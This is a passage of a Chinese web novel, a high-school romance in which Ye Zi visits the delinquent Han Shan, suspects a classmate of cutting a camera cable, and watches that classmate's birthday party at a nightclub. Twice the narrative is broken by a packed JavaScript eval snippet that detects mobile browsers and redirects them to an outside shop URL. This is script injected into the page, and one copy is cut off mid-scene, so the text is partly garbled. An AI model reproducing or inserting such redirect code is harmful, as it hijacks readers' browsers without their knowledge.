叶子双手抓着书包肩带,镇定点头,说:“拿了。” 韩山怀疑地盯了她片刻,说:“要是没拿,打你的会是我。” 叶子心里讪讪,但她知道他是吓唬她,肯定不会真打,硬着头皮说:“真拿了。” 韩山将手套的魔术贴粘上,那是专用机车手套,黑白红三色相间,很酷。他偏头让她上车。 叶子不敢看他眼睛,低着头走到机车前。 他默契地将手臂递给她,她轻轻扶一下,坐上他的后座。 韩山递给她头盔,她接过来戴在头上,拉紧绳扣。 韩山拧把给油,机车猛地冲上斜坡,在最高点有瞬间腾空,重重落地,周围的一切化作残影,在叶子眼中倒退。 叶子还是没能适应机车起步时的冲劲,死死抓着后座,快要被吓哭。 机车驶进筒子楼,路面有些颠簸,韩山放慢了速度。 筒子楼灰败,有油烟熏出的黑色痕迹,楼与楼之间搭满五颜六色的衣服,被单,自行车停在路两边,让本就狭窄的路变得更加拥挤。楼里的说话声清晰可闻。 正是晚饭时间,叶子嗅到扑面而来的饭菜香,肚子咕噜噜叫,想到韩山也没吃饭,她问韩山:“你晚上吃什么呀?” 韩山没有回答,反问:“你饿了?” 叶子点点头,随后反应过来韩山看不到,开口说:“嗯呢!” 甜甜的声音,韩山心中却泛起酸涩,若非来找他,她肯定不会挨饿。 他手伸进口袋,拿出一根棒棒糖,向后递给她,“垫垫吧。” 马上就能回家了,就不带她在外面吃了。 叶子眼前一亮,不假思索接过来,是个荔枝味的棒棒糖,恰好是她最喜欢的味道,她惊喜说:“你是会魔法吗!” 一下子就能变出棒棒糖。 她不客气地开始撕包装皮。 韩山的声音随风飘来,淡淡的:“上午买的。” 上午……叶子心想,那只能是被停课之后了。看来他当时心情一定很不好,才会想买棒棒糖汲取点甜味。 她有些落寞,口中的棒棒糖忽然没了滋味。 韩山发觉后面安静了,用余光看了眼,语气轻飘飘说:“用不着愧疚,我不是为了你,我是为了不上课。” 叶子眨眨眼:“只是这样?” 韩山:“不然?而且没有证据,指认董婉凝也没用。” 叶子心理负担一下子卸下了,露出笑容,“那你的‘假期’有几天呀?” 韩山:“七天。” 叶子惊喜:“哇!国庆小长假呢!” 她都羡慕了。 韩山弯唇笑了一下,连他自己都没察觉。 机车驶出筒子楼,韩山加速,叶子把棒棒糖含在嘴里,双手抓紧后座。 机车很快驶进叶子的小区,停在她家楼下,韩山长腿支在地上,无言递给她手臂。 叶子扶着他,跳下后座,摘下头盔递给他。 她的头发又乱了,韩山顺手拨了下她的刘海,接过头盔,“跟个鸡窝一样。” 叶子连忙理了理头发。 韩山勾唇,利落戴上头盔。 叶子惦记着对他撒的那个谎,向后跳开两步,灿烂地笑,“其实笔记本我没拿。” 韩山就知道她没拿,目光平淡说:“你是真不怕挨打。” 没拿就算了,还敢告诉他。 她杏眼弯弯的,脸上笑出两个小梨涡,虎牙露出来,可爱甜美。她的笑容就像恶作剧成功一般,带着些狡猾调皮。 韩山想到一种动物,狐狸。 明明在仓库哭得那么伤心,现在却又能笑得这么没心没肺。 他还想说几句狠话,没说出口,心中叹气。 没拿就没拿吧。 当时她那么果断地说拿了,他就知道她在撒谎。 她看似柔弱,可脾气倔得很,她想把笔记本给他,绝不会轻易拿回去。 头盔的护目镜后,少年两只黑眸沉静有神,说:“不拿你明天用什么?” 叶子骄傲说:“我笔记本多着呢!总有用的,你不用担心。” 少女的脾气来得快去得快,难过伤心总能很快忘掉,笑得没有一点负担。 韩山拿她没办法,说:“走了。” 他绕过她,调头驶入夜色中。 叶子的目光随着他移动,看着他离开,笑容又添几分得意。 这不是也没打她吗? 她带着笑容转身,迎面碰上楼下散步的白奶奶,白奶奶今年八十多了,一头雪白的发,笑吟吟给她打招呼:“小叶子呀,放学啦?刚才送你的人是谁呀?” 白奶奶年轻时是大学教授,有一个博士女儿,一个硕士儿子,人到晚年拿着不薄的养老金,儿子女儿也特能挣钱,每月孝敬她不少“零花钱”,日子过得滋润极了,整天乐呵呵的,因为心情好,身体也倍儿棒。 叶子特别羡慕,她以后也想当大学老师,过这样的生活。 但老太太有自己的想法,叶子之前听爸妈聊过,老太太现在的存款够在市中心全款买套房,子女也想把她接过去住,她却不乐意,愣是要在这破小区住一辈子。 别人问她就说:“我家那口子在这,我哪也不去。” 她老伴死的早,走了二十年。 叶子曾感叹,世上果然没有十全十美的人生。她羡慕白奶奶的生活,也希望以后的老伴能陪她到最后——如果有的话。 刚才叶子只顾着跟韩山说话,没注意楼下散步的白奶奶,面对白奶奶的问好,叶子笑得十分坦荡:“一个朋友。” 白奶奶年纪虽大,但打扮优雅,白发盘起,梳得一丝不苟,戴着金边眼睛,珍珠项链,穿着体面,脸上的皱纹是自然老去的痕迹,真实而美好。她最喜欢叶子,说:“高中学业紧张吧,还跟得上吗?” 叶子快乐地告诉她:“放心吧白奶奶,这回期中我又考了第一名呢!” 白奶奶惊讶地眨了眨眼睛,煞有其事说:“哟!后生可畏啊!看来后年高考状元就要出在我们楼了!” 叶子被夸得羞红了脸,连忙转移话题:“您要上楼吗,我扶您呀!” 白奶奶绽开笑容:“好呀!果然远亲不如近邻,我们叶子就是我的小棉袄!” 叶子笑得明媚温暖,扶白奶奶回家。 * 机车穿梭大街小巷,回到仓库院子里,韩山停车熄火,摘下手套,拔钥匙进门。 一推开门就看见地上孤零零躺着的水杯。 当时的画面浮现在脑海,他沉默地过去捡起水杯,翘腿坐在转椅上。 视线不经意落在桌面的笔记本上,他心微微一软。 他滑到桌前,拿过笔记本,放在腿上,一只手用水杯敷脸,一只手珍惜地翻开笔记本。 扉页写着她的名字,漂亮的行楷字,遒劲有力。 她的字迹很好认,全年级独树一帜。 也挺神奇,有的人写字像虫子爬,歪扭潦草,有的人写字方正圆钝,工整却幼稚,偏偏只有她,能写出一手潇洒好看的行楷,自成一派。 名字旁边画了一片小树叶,可可爱爱。 韩山唇角牵起,都说字如其人,可那样可爱的她,却能写出这样洒脱的字,奇妙的反差。 他以一种欣赏书法的心情,接着往后翻,只是看这样的字迹,便赏心悦目。 安静的仓库,翻页声响动。 韩山看了一会儿,渐渐走神,眼睛无聚焦地望着笔记本发呆。 今天跟她在仓库中的画面一遍遍在他脑海重播。 她说她关心他。 她说他们是朋友。 狂风灌进来,窗帘飘个不停,笔记本一页页地翻。 他想到胡同口的相遇,想到她一次次在校门口等他,想到安静封闭的教室里,她被他圈在墙角慌乱无措,想到她在机车后座,说“什么是好,什么是坏,我觉得你帮我,也是好学生”…… 每一幕每一幕,走马灯般在他脑海经过。 想到原本听话文静的乖乖女,为了他在办公室众多老师面前崩溃嘶吼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四周静悄悄的,董婉凝和阿天走在最前面,她突然感到不安,周围似乎被一股无形的力量笼罩,压抑而危险。 似乎有谁在黑暗中虎视眈眈盯着她,风吹过,她打了个寒颤,背后生出阵阵凉意。 她猛地抓住阿天的胳膊,颤声问:“外面是不是有什么人?” 阿天喝了酒,脸庞泛着红潮,毫不在意醉醺醺地说:“大半夜的,能有什么人?” 身后的说笑声带来几分安全感,董婉凝微微瑟缩着,紧张往外走。 越往外走,黑暗中的人影便愈发清晰,当她对上巷子外那双凌冽黑眸,她一下子愣在了原地,脸上血色瞬间褪去。 阿天顺着她的目光转过头,神色变了变。 有女生尖叫。 他们全部被韩山带人堵在巷子里,今夜无星亦无月,黑暗像猛兽张开的血盆大口,要将人尽数吞吃。 一场混乱的群殴,阿天的人尽数被打倒,韩山掐着董婉凝的后颈将她按在墙上,一把尖刀扎在她眼前,刀锋削断她半截红发。 她吓得脸色苍白,浑身颤抖。 劲后那只手力量极大,宛如铁钳,让她动弹不得,她的脸被挤压得变了形,恐惧的表情变得更加狰狞。 韩山声音低得可怕:“再动她一下试试。” 董婉凝害怕到失声,半点声音都发不出,张着嘴剧烈地抖。 韩山没有拔出那把刀,冷冷收回目光,转身向外走,“撤。” 他的目标是董婉凝,教训其他人只是顺带,好让他们知道知道自己几斤几两,董婉凝再使唤他们的时候也能掂量着点。 反正他现在不用上学,没人管,还得感谢赵育芳的停课,把魔鬼放出牢笼。 阿天,彪子一众人等被压在地上揍,根本不是韩山他们的对手,猴子听到韩山命令,意犹未尽从阿天身上下来,甩甩手,踢他一脚,啐道:“不长记性的东西!” 他们跟着韩山撤离巷子,混混们疼得在地上打滚。 董婉凝魂飞魄散,趴在墙上半天控制不了自己的身体,那刀锋就在她眼前扎着,夜幕下泛着冰冷的寒光。她一看到就害怕。 其他女生战栗不止,吓得直哭,宁小萌、沈娇娇、何艾都在其中。韩山的兄弟们不打女生,她们侥幸躲过一劫。 韩山跟兄弟们告别,在空荡的马路上飞驰而过,像一道黑色幻影。 半夜路上没人,可以肆无忌惮。 与此同时,叶子睡得正沉,似乎做着一个甜甜的梦,唇边带着笑意。 26. 可爱女孩【双更合一】 第二天董婉凝进教室的时候,看起来没睡好,顶着粉底都遮不住的黑眼圈,重重把书包搁在椅子上。 叶子好奇她这是怎么了,多看了她两眼。董婉凝平常虽然混,但来得都很早,今天她几乎是踩着早读铃进的教室。 董婉凝打了个哈欠,对上叶子的目光,骄傲地翻了个白眼。 叶子打趣她:“董大小姐一夜没睡?” 董婉凝恨得牙痒痒,却不敢发作,愤愤坐在座位上,双臂环胸抱在身前,心里暗骂道:“还不都是因为你,臭婊.子,真会勾引男人。” 昨天她真是被吓死了,几乎天亮才睡着,还一直在做噩梦,早上浑浑噩噩差点没起来。 “全体起立!” 早读铃响,课代表上讲台领读,全班懒洋洋站起来,椅子拖拉声响亮。 叶子收回目光,捧着课本起身,读自己的。 董婉凝刚坐下,椅子还没暖热乎,心中更烦,不爽地站起,余光看到叶子认真的模样,烦上加烦。 第一节下课,叶子在座位做题,董婉凝出去了一趟,再回来时就开始叮叮咣咣搬桌子。 叶子诧异,这是要做什么? 赵育芳随后在教室前门站了一下:“张智聪,你跟董婉凝换下座位。” 叶子惊讶,居然换座位了?她转头望了眼窗外,这太阳也不在西边呀。 张智聪哀嚎:“为啥啊老师!” 然而赵育芳说完就走了,没有商量的余地。 叶子就这么看着董婉凝轰轰烈烈搬桌子换走了,虽然换过来的这个张智聪也不是什么好玩意,之前在她擦玻璃时搬走她的椅子,但至少比董婉凝这个混子姐强。 叶子继续低头做题,张智聪搬过来后,发现隔壁是叶子,眼睛一亮,立马挪着椅子往叶子身边凑了凑,一脸八卦地问:“哎,你跟韩山啥关系啊?” 叶子迟疑了一下,疑惑看着他。 怎么这么问? 张智聪忙解释说:“那天看到他把你抱下窗台,你俩?”他坏笑挑眉。 叶子顿时有些生气,这些话猴子他们开开玩笑也就罢了,他居然也敢说? 她一板一眼告诉他:“别胡说,谣言就是这么传出来的。他帮我是因为他好心,你们思想能不能别这么龌龊?而且早恋是学校明令禁止的,我不会做这种事。”说完她自顾自低头做题,不想理他。 张智聪笑容消失,感觉自己酿下大祸,着急说:“哎呀,我就是好奇问问嘛!不是就不是嘛,你生什么气呀!我意思是,要是你俩关系好,那我为我之前搬你椅子的行为道歉,实在是我手贱,你千万别放在心上!”他嘟囔说:“他打架那么厉害,我可不想挨打……” 叶子写字的手顿了顿,这些人的嘴脸真是毫不掩饰。 她懒得废话,说:“那就少惹我!” “诶诶!是!”张智聪仿佛收到什么重要指示,敬了个礼,迅速挪着椅子坐回去。 * 大课间,叶子去水房接水,等水蓄满的过程中,抬头打量墙角的监控探头。 如今探头上代表着工作状态的红点消失了。 怎么说坏就坏了呢,叶子脑子里有一搭没一搭地想,一时没注意到水已经满了,从杯口溢出来。 温热的水流淌过她指间,她猛地回过神,连忙关了水龙头,给后面排队的人道歉:“不好意思不好意思……” 她让开位置,拧上杯盖,还是觉得不对劲,走到窗边,打开窗户。 冷空气一下子灌进来,水房有女生不满:“干什么呢!冻死了!” 叶子双手合十,抱歉地低头:“对不起对不起,我马上关。” 她脑袋探出窗外,上下看了看。 监控的电缆线由铁圈固定在墙上,这一层的监控电缆线靠近上一层的窗户,的确是断着的。 叶子不禁想,那夜暴雨,为什么别的电缆线都没事,偏偏就刮断了这一根? 她踮脚,仔细看了看,电缆线断得很整齐……不像是被刮断,反而像…… 她浑身汗毛竖了起来,脑中闪现出画面,暴雨中,董婉凝打开上一层水房的窗户,趴下身剪断电缆线…… 画面又一闪,她想起那四个男生在老师背后偷笑,仿佛早就知道监控看不到。 她当即关上窗户,出了水房,来到办公室赵育芳桌前。 赵育芳忙着备课,匆匆看她一眼,语气没有波澜:“什么事?” 叶子以前和老师说话会下意识紧张害怕,可经历了这些事后,她已经不怎么怕了,说:“老师,我想问问,水房监控的电缆线什么时候能修好?” 赵育芳头也没抬说:“还惦记着那事呢,已经过去了,你现在的首要任务是好好学习,准备期末考试。下学期分文理。” 叶子:“嗯,老师我知道,我就随便问问,老师你能告诉我吗?” 赵育芳呼了口气说:“不知道呢,已经报修了,估计这几天吧。但是修好录像也恢复不了。” 叶子思量道:“这样吗。” 恢复不了呀…… 叶子:“那……可以调楼上水房的监控吗?” 要剪断他们这层水房的监控电缆线,势必要去上一层,那么,上一层水房的监控绝对会拍到。 如果能拿到董婉凝剪电缆线的证据,那么,就能间接证明一切。 赵育芳拧紧眉头,靠在椅背上,极不理解道:“还不死心呢?那你告诉我,倘若真是你说的那样,韩山自己为什么不承认,学雷锋啊做好事不留名?” 叶子嘀咕了句:“万一真是呢?” 赵育芳没听清:“你说什么?” 不过她也并不关心,再次强调,“叶子,别以为你期中考了第一就可以松懈了,期中完了还有期末,还有高考!心思能不能放在学习上?” 叶子着急:“可是老师……我也没必要编出那样的故事袒护韩山吧……您为什么只信韩山不信我呢?” 赵育芳:“因为有证据能证明他说的!现在你不是拿不出证据吗?” 叶子暗暗咬牙,又不帮她调监控,她怎么拿出证据? 她心想,算了,她会想办法,自己把证据摆在老师面前。 叶子不再纠缠,认命般点头说:“我会好好学习的,老师放心吧。” 她转身,头也不回走了。 她得找时间再去找韩山一趟,告诉他关于电缆线的发现。 他为保护她受罚,她绝不能让此事稀里糊涂过去。 * 十二月份的天气越来越冷了,生病请假的很多,学校为加强学生身体素质,在大课间加上冬季跑操活动。 照理这个要体委组织,在队伍前面领头跑。但韩山不在,赵育芳一时有点难办,这个班多是一些学习好的,这方面缺乏经验。 她想让班长来,张婧雅连连摆手,“老师我不行啊,我声音小喊不了口号,跑得又慢。” 赵育芳钦点了剩下男生里最高的一个暂时负责这件事。 男生一脸懵逼,被赵育芳提溜到队伍前面,同学们一阵笑。 十五六岁的少年们朝气蓬勃喊着口号,跟着欢快的音乐跑过塑胶跑道,嘴里呵出一团一团雪白的哈气。 叶子很喜欢跑操,这种氛围让她充满活力,运动完后脑子也更清晰。 韩山打架受处分的事学校知道了,跑操结束后,喇叭里强调了好几遍校规纪律,才让解散。 叶子往教学楼走,听见有女生议论: “是发生什么了吗,老六怎么突然啰嗦这么多?” ——“老六”就是喇叭里组织跑操的老师,学校体育组组长,因为姓刘,思想观念又很开放,与同学们打成一片,被起外号叫“老六”。 有女生回应:“好像是高一的打架被停课了。” “哇,谁啊,才高一就这么牛?” 叶子下意识回头看,说话的几个女生留着披肩发,扎着马尾,看起来是高年级的。 扎马尾的女生说:“听说姓韩,长得又高又帅!” 叶子连忙低下头,不知为何,听她们夸韩山,她脸颊会有些热。 同时她发现,原来不知不觉间,韩山打架的事已经在全年级乃至全校传开了。 那些女生感叹: “能被停课,看来打得不轻啊!” “是啊,被打的那几个都去开伤情鉴定书了。” “你们说,找个这样的男生做男朋友是不是会很有安全感?” 女生们都笑了。 叶子脸更热,加快脚步走掉了。 * 董婉凝的新座位挨着楼道那一列,靠窗,前面是张婧雅。她擅交际,坐在哪都能和周围人打成一片。而换过来的张智聪也很老实,不仅没有欺负捉弄叶子,甚至还殷勤地要帮她接水。不过叶子拒绝了。 叶子很奇怪,这几天董婉凝竟然一次也没找她的麻烦。 良心发现了? 叶子很快意识到不是,董婉凝看她的眼神依然是冰冷又幽深,像野生动物看猎物一般。叶子明白,她只是忌惮。 一旦她忌惮的东西消失了,她就会再次扑咬上来。 叶子并不知道董婉凝被韩山威胁过,只当董婉凝因为学校强调了纪律而有所收敛。 叶子放学自己走,没有人再来堵她。一切又恢复了之前的模样。 从逃课那天起,一个月以来的经历,仿佛只是一场逼真的噩梦。 如果不是腿上,胳膊上的淤青,不是教室唯一那个空着的座位每天提醒着她,她会真的觉得一切都是梦魇。 董婉凝似乎有了新的猎物,叶子有一节课间,听见后面的同学聚在一起八卦,提到一个女生的名字,说看到有男生搂着她进了酒店。 叶子顿时绷紧了神经,她的噩梦由谣言开始,对这样的话题敏感而后怕。 那个女生叫秦夏,是董婉凝新座位的后桌。 叶子留意着这个叫秦夏的,她在班里存在感不强,和叶子一样不爱说话。叶子暂时没发现异样。 这周很快过去,周五下午,董婉凝在班里宣布明天是她的生日,邀请全班一起去参加她的生日party。大家纷纷响应,祝福声此起彼伏。 董婉凝站在讲台上,笑容端庄大方,一一向同学们道谢,眼神深深望向叶子,微笑歪头说:“你去吗,叶子?” * 周六早上七点,叶子从床上爬起来,开始背书,做题,九点,她收拾好东西,把笔记本装进书包,出门。 已经过去好几天了,她要去看看韩山。 她没有自行车,只能坐公交,车里人多闷热,摇摇晃晃,晃得叶子哈欠连天。 她在筒子楼附近下车,今天降温,外面的冷空气一吹,她顿时精神多了。 她一路小跑,迫不及待想见到韩山。 她穿着樱花粉羽绒服,系着白色围巾,跑起来灵巧的身影就像只小兔。 她穿过筒子楼,扶着膝盖,气喘吁吁停在仓库前。 仓库的铁门锁着,叶子看了眼手机,已经十点了,应该醒了吧。她找完他还得去火锅店打工,十一点之前要到。 她抬起指节,深吸一口气,敲了下去。 昏暗的仓库内,薄毯垂在床边。韩山正在睡觉。听到声响他挣扎了几番,才从床上爬起。 门外,叶子等了几秒,见没人开门,心说:难道不在吗?又敲了敲,“韩山,是我。” 话音刚落,门另一侧传来开门声,铁门打开,韩山转身往回走。 叶子推开门,看见韩山的背影,几天没见他好像长高了,看起来更加挺拔。他穿着黑色短裤,白色无袖背心,肩膀宽阔,银发有些乱。 韩山躺回了床上,随便扯了两下薄毯,搭在身上,又睡了。 叶子有些尴尬,都十点了,他真能睡呀! 仓库内光线昏黄,有淡淡的洗衣粉香,柠檬味的,与他身上的味道一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713090|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶子从背包拿出笔记本,蹑手蹑脚走进去,放在他桌上。 他这里暖融融的,外面是十二月的冬天,里面却像五月的春。叶子跑着来的,额头微微冒汗,把白色围巾扯松了些。 韩山试图重新入睡,可他发现睡不着,他的精神在她踏进来的那刻就绷紧起来,脑子渐渐清醒,听觉变得敏锐,一下下捕捉她的脚步。 他还是睁开眼,看着她。 他第二次看她穿校服以外的衣服,第一次还是在火锅店。 她小脸红扑扑的,穿得一看就很暖和。 到底是在男孩子的房间,叶子有些紧张,给他招手,“嗨。” 明亮的阳光穿透黑色窗帘照进来,给仓库镀上一层朦胧的暗黄色,与叶子上次过来的感觉不一样。 上一次天黑了,仓库也是黑的,夜有些冷,她感觉黑暗中的少年神秘、无法揣测,但这次,他很清晰。 韩山:“不用给我送了。”他的声音带着初醒的沙哑,但能听出底色是温和的。 叶子鼓了鼓腮帮,当做没听到,目光在他桌上搜寻她上次留下的笔记本。 他的桌子收拾过了,十分整洁光亮,那个笔记本被他放在一摞书的最上面。 叶子拿起那本,“这个你看了吗?” 韩山不想让她再送,说:“没有。” 叶子有些沮丧,但很快又打起精神,“那这次的你一定要好好看哦,讲了很多重要的知识点呢!热力学基本定律,还有匀速圆周运动,老师说,下学期就要分文理了。你想学文还是理?” 韩山懒懒答:“理。” 叶子有一瞬开心:“我也是理,你要是好好学,我们或许还能分到一个班。不然我们就要分开了。” 他既然能学得懂编程那种深奥的东西,学这些文化课一定没问题。而且猴子都说了,他以前学习很好。 韩山困意散去很多,有些沉默,期中分班是韩松庭一手操作,早在入学时就定好了,他才有幸与她同班,倘若凭他自己……那是倒数第一与正数第一的距离。 韩山问:“你想跟我一个班?” 叶子回答得很干脆,“对呀,我在学校没什么朋友,只有你一个,我当然希望能跟熟悉的人在一个班。” 韩山笑了一下,好干净的理由。 若是别人这么说,他会毫不犹豫回答:那你别写卷子来找我。 但对叶子,他说不出口。 他没法把这样一个学霸,从神坛上拽下来。 空气中的尘埃缓缓浮动,形成丁达尔效应,少女杏眼亮亮看着他,满含希冀和憧憬。 她身上天然带着生机,粉嫩嫩的身影成为黑白仓库中唯一的色彩,原本死气沉沉的仓库因为她的到来而变得生机盎然。 他无法承诺她,可又不忍心拒绝她,艰难说:“我尽量。” 叶子瞧有希望,忙说:“你一定可以的,你底子不差,我相信你。” 韩山听出些端倪:“侯睿这都给你说?” 叶子发现自己说漏嘴了,讪讪打了自己嘴巴一下,立刻转移话题:“对了,我有个发现。” 韩山:“什么?” 叶子:“水房监控的电缆线不是断了吗,我前几天看了看,发现断面很整齐。” 韩山明白她的意思,“你是说,有人故意剪断?” 叶子点头,“没错,我还看了,每一层水房的电缆线都跟上一层水房窗户挨得很近,若是有人故意剪断我们这层的电缆线,那上一层的水房或是楼道监控必定能拍到。董婉凝不可能滴水不漏全部剪断。” 韩山眼中闪过意外之色,对她多了些刮目相看:“不愧是年级第一。” 她很聪明。 以前他以为她只不过是会学习,和其他好学生一样,书呆子而已,如今看来,她不仅会学习,还会观察和思考。 叶子脸庞一热,忙说:“不过我去找赵老师,她不同意调监控,怎么办啊?” 韩山端详她的神色:“你问出这句话之前,已经有想法了吧?” 少女主意正得很,才不是询问他的意见。 叶子笑而不语,她确实有想法了,她想趁夜潜入办公室,自己调监控。 韩山猜到她的心思,弯了弯唇,“我跟你一起。” 这是他们两个人共同的事情,他不能让她一个人面对。 叶子等的就是这句话,爽快说:“那今晚十一点,我在火锅店门口等你?” 韩山:“好。” 叶子十分开心,有韩山的帮助,今晚行动一定会很顺利。 韩山默了默,问道:“这几天,你跟董婉凝怎么样了?” 他警告过董婉凝,她应当有所收敛,若是没有—— 叶子说:“挺好的,她好像换新目标了,不搭理我了。哦对了!今天她生日,邀请全班同学去聚餐,我不想去。” 韩山斩钉截铁:“不想去就不去。” 也不能拿你怎么样。 叶子笑着点头:“嗯!” 叶子看了眼手机,发现快十点半了,连忙说:“啊我不给你说了!我去火锅店上班了!你起床记得看笔记哦!”她没等韩山回应,风风火火跑出了仓库。 韩山目光跟着她移动,最后定格在铁门上,敞开的铁门将阳光放了进来,仅仅只是一道,就足够将整个仓库照亮。 他鲜少为他人打开这道门,他不喜欢阳光。 叶子跑出几步,想起忘了关门,又折返回去,探头给他挥手,“拜拜!” 甜甜的声音。 她把门关上,往公交站牌狂奔。 从这到火锅店要坐半个小时的公交,她不能迟到。 韩山没想到她还会返回来,有些怔松,铁门关上了,她走了,把阳光也带走了。 仓库顿时暗下来,一点声音也没有,韩山注视着铁门,片刻自嘲地笑了一下。 一个人才是他的常态,可他竟会因这瞬间的落差,感到孤独。 27. 可爱女孩 韩山无心再睡,起了床,戴上很久没戴过的拳击手套,对着训练沙袋一通发泄,拳腿并用。 跆拳道腿法为核心,拳法为辅,为弥补短板,他专门练了拳击,综合格斗。 猴子常常吹捧他“打架专业户”,某种意义上来说的确是,他一拳一脚,能杀人。 他清楚地知道用多大力量能把人打到什么程度。比如一百公斤的力量能将人打晕,五百公斤的力量能将人一拳打死。而太阳穴和下巴是人最脆弱的部位,击中那里,人会休克。 他大汗淋漓停下来,脱下拳击手套,拎出折叠哑铃凳,调节好。 他拾起哑铃,躺在哑铃凳上,锻炼手臂。 因着常年训练,少年的身体精瘦有力,恰到好处的薄肌线条非常好看。 他手臂上的肌肉线条不断伸展,收缩,青色血管凸起。他脸上没有什么情绪,这种重量对他来说毫不费力。 他手臂很快铺了一层绵绵密密的汗珠,他如同机器按照既定程序运作一般,机械而又疯狂地重复相同的动作,直到筋疲力尽。 * 天色渐暗,董婉凝盛装打扮,在“皇家”门口迎接同学。 今晚她戴了红褐色猫眼美瞳,红发用卷发棒烫成大波浪,走的欧美御姐风,银钻包臀裙外搭了一个雪白貂毛披肩,脚上水晶高跟鞋,一颦一笑,透着不属于她这个年龄的成熟之感,美艳动人。 同学们都很给她面子,几乎都来了,董婉凝热情地让他们上去坐。 “皇家”是一个大型娱乐会所,正负共十层,二到三楼是高档餐厅,董婉凝今晚包了场,被问到房号的时候,她豪爽说:“随便坐!今晚二楼都是咱的!” 男生们齐声惊叹:“哇偶~” 刘俊洋喊了声:“大气啊婉姐!” 张智聪起哄:“富婆姐姐包养我!” 男生们爆笑,董婉凝抬腿佯装要踹他们,“滚边去!本名花有主了。” 男生们嬉笑着跑开,进了电梯间。 “再乱说揍你们哦!”董婉凝冲他们的背影挥挥拳头。 “皇家”全名“皇家国际夜总会”,是全国数一数二的高端娱乐会所,专门给上层人群提供娱乐、休闲和社交服务,环境奢华,服务高端,消费高得很,在全国名气都很大,也是不少富二代的聚集地。 普通人一辈子都吃不起这里的一顿饭,董婉凝还能包场,也不怪那些男生们一惊一乍。 董婉凝回到原位,宁小萌和沈娇娇结伴来了,给她奉上礼物,一起欢喜地说:“婉凝生日快乐!” 董婉凝惊喜极了,一一拥抱她们。 跟着宁小萌和沈娇娇一同来的,还有一个极为漂亮的女孩子。她双手捧着一个红色首饰盒,微笑给董婉凝打招呼,“哈喽婉凝,生日快乐,这是我送你的礼物。”她将首饰盒递过来。 董婉凝看到她,微微一愣,“孟、孟燃?”她不可置信地叫出她的名字。 她早就听说过这个女生,期中后新转来的,刚来第一天,大名就出现在校花候选名单里,还是个舞蹈特长生。 孟燃笑着点头,“是宁小萌喊我来的,很高兴认识你。” 她今晚的打扮很禁欲系,卡其色风衣,里面是白色衬衫,下身是牛仔裤,长筒靴。她长发及背,乌黑有光泽,戴一只无框金边眼镜,一边的长发别到耳后,增添几分干练气质。 她并不近视,眼镜只是装饰。 董婉凝被她这一笑惊艳得抖了抖,骨头都酥了,恍惚地接过首饰盒,内心激动得要命。 她也早就想认识她了,但一直没机会。 孟燃的美很独特,不同于董婉凝这般酷飒的美,而是孤傲、凌冽的美,像伫立在雪山之巅上的一株雪莲。 宁小萌勾住孟燃的脖子,对董婉凝挤眼睛:“我现在跟燃哥一个班呢!她是我们班公认的班花!” 沈娇娇跟她俩都是一个班,颇为赞同地说:“是呢!美女就该带来给美女认识!” 四个女生笑作一团,董婉凝是带着些羞意的笑,孟燃是好笑的笑,宁小萌和沈娇娇是哈哈大笑。董婉凝打趣沈娇娇:“今晚嘴抹蜜了?” 沈娇娇:“是呀!你要尝尝吗?”她撅起嘴唇作势要亲她。 董婉凝故作嫌弃地推开,“不不不。” 女生们笑闹在一起。董婉凝把她们留下来陪她聊天,四个女生一时成了皇家的门面,路人经过都要多看两眼。 今晚董婉凝邀请了很多人,少年少女们陆陆续续进门,给董婉凝礼物,祝她生日快乐,有些留在董婉凝身边,与她说笑玩闹。远远看去,众星捧月,蜂拥蝶绕。 叶子实属没想到,董婉凝开生日party的地方就在她火锅店对面。 她在店门口迎客,恰好看到那一幕。 她心说糟糕,可不能让董婉凝发现她在这里打工,否则一定会借题发挥嘲笑她。 好在火锅店的玻璃被热气熏得雪白,她往里退了退,雪白就能挡住她。 董婉凝聊天时突然想起一件事,兴奋地说:“哎,你们知道吗,楼下Kings酒吧来了个新DJ,据说可帅了!叫Ace。咱们吃完饭去看看吧!” 宁小萌疑惑:“Ice?冰?” 董婉凝纠正:“不是I,是A,Ace,艾斯。” 沈娇娇激动说:“我也听说了!他一来,Kings连海报都换了,把他放在C位,我看过一眼,银发,戴着墨镜,还有项链和耳钉!那气质,绝了!好想看看本人长啥样啊!” 孟燃没听说过,在一旁好奇地听。 宁小萌也没听说过,但她一听银发,顿时有点不安,“银发?不会是——” 那个人太过出名,很难不让人产生联想。 董婉凝当即否定:“怎么可能?他一个粗人,能懂音乐吗?而且Ace是成年人。” 沈娇娇附和:“就是就是,Ace虽然也是银发,但烫了钢夹侧背,成熟得很!据说还特别高冷,别人要联系方式都不给!” 远处,黄毛阿天带着乌压压一帮人来了,董婉凝眼前一亮,顾不上再跟她们聊,踩着细高跟噔噔噔下台阶,开心地扑过去抱住阿天的脖子。 阿天抱着她转了个圈,“生日快乐,宝贝。” 董婉凝用力地亲了他脸颊一口,“谢谢老公!” “咦惹……”与阿天同行的少年少女们发出酸溜溜的声音,彪子说:“别撒狗粮了天哥!等会都没法吃饭了!” “就是啊天哥!给我们留点肚子呗!” 董婉凝笑容满面看向他们。 跟他们一同来的还有一群女生,都是职高的。董婉凝邀请了阿天和他的兄弟们来参加party,阿天在职高名声大,职高很多女生知道天哥媳妇过生日,说什么也要来凑个热闹。光是他们这号人就足有六十多个,赶一个班了。 董婉凝笑着说:“热闹点好!一起玩!” party八点开始,零零散散一共到了两百多人,坐满了餐厅。餐厅是董婉凝专门让服务员布置好的,一桌一桌类似婚礼酒席,挂满了气球。 